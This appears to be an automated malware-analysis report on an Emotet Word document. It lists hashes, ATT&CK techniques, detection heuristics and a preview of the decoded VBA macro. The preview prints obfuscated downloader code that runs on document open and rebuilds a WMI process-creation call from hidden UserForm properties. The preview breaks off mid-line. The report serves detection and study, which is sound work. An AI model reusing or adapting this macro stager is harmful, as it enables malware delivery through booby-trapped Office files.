Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 32e701aff42e237b…

MALICIOUS

Office (OLE)

233.1 KB Created: 2020-08-14 06:46:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 5d3bfc947805678003351c0fed27c9b3 SHA-1: b7ffae92ef5dd22b764dac823fa9e0f31d268c3f SHA-256: 32e701aff42e237bcc50a6fabc9208826555aaa414aaa53abd68f0b4e322f35f
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager, which are hallmarks of Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the macro attempts to execute code via a hidden UserForm. This functionality is designed to download and execute a secondary payload, a common tactic for Emotet to establish a foothold and further compromise the system.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9318299-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9318299-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8002 bytes
SHA-256: c46b1ff24c2760a82fe420b6dea6ee16b6815775f652179278e66db57064df78
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "X6zjmdxkq78gj8cxb3"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Vchm50xzn697lujjo.Aed5rgu2b42mwrpkc
End Sub


Attribute VB_Name = "Vchm50xzn697lujjo"
Attribute VB_Base = "0{D1E6A9DF-C49C-4F35-9CA5-1EAF7DAD4D03}{9287CB1A-6807-41B3-9920-5C56D76CC367}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Aed5rgu2b42mwrpkc()
   Hoej5flzsstfrm = 4
Do While Hoej5flzsstfrm < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hoej5flzsstfrm = Hoej5flzsstfrm + 8: DoEvents
Loop
Zpp_6nlcr1ivuh = Vchm50xzn697lujjo.HelpContextId + 100
   Hoej5flzsstfrm = 4
Do While Hoej5flzsstfrm < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hoej5flzsstfrm = Hoej5flzsstfrm + 8: DoEvents
Loop
Bul1pqo7u2u676ga = ChrW(Zpp_6nlcr1ivuh + (100 + 35) / 9)
   Hoej5flzsstfrm = 4
Do While Hoej5flzsstfrm < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hoej5flzsstfrm = Hoej5flzsstfrm + 8: DoEvents
Loop
Z6kr72jnaz7eg6 = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Bul1pqo7u2u676ga + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Vchm50xzn697lujjo.Uxsglpn98tm + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Hoej5flzsstfrm = 4
Do While Hoej5flzsstfrm < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hoej5flzsstfrm = Hoej5flzsstfrm + 8: DoEvents
Loop
Z3azrymj0cjf7e = Ck3t7_erkpm3php6(Z6kr72jnaz7eg6)
   Hoej5flzsstfrm = 4
Do While Hoej5flzsstfrm < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hoej5flzsstfrm = Hoej5flzsstfrm + 8: DoEvents
Loop
Set X6gq_g5a30svs = CreateObject(Z3azrymj0cjf7e)
   Hoej5flzsstfrm = 4
Do While Hoej5flzsstfrm < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hoej5flzsstfrm = Hoej5flzsstfrm + 8: DoEvents
Loop
F0u0tuayshaea_9r = Vchm50xzn697lujjo.Sducljus836c0gq.ControlTipText
   Hoej5flzsstfrm = 4
Do While Hoej5flzsstfrm < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hoej5flzsstfrm = Hoej5flzsstfrm + 8: DoEvents
Loop
Uzxxpvcw5sebxj3u7e = Jsb399zbc2bq0oxx1e + (Z3azrymj0cjf7e + Bul1pqo7u2u676ga + Vchm50xzn697lujjo.K63d8ggdi9pxl3q1b.ControlTipText + F0u0tuayshaea_9r)
   Hoej5flzsstfrm = 4
Do While Hoej5flzsstfrm < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hoej5flzsstfrm = Hoej5flzsstfrm + 8: DoEvents
Loop
W7mox291hyx = Uzxxpvcw5sebxj3u7e + Vchm50xzn697lujjo.Uxsglpn98tm
   Hoej5flzsstfrm = 4
Do While Hoej5flzsstfrm < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMk
... (truncated)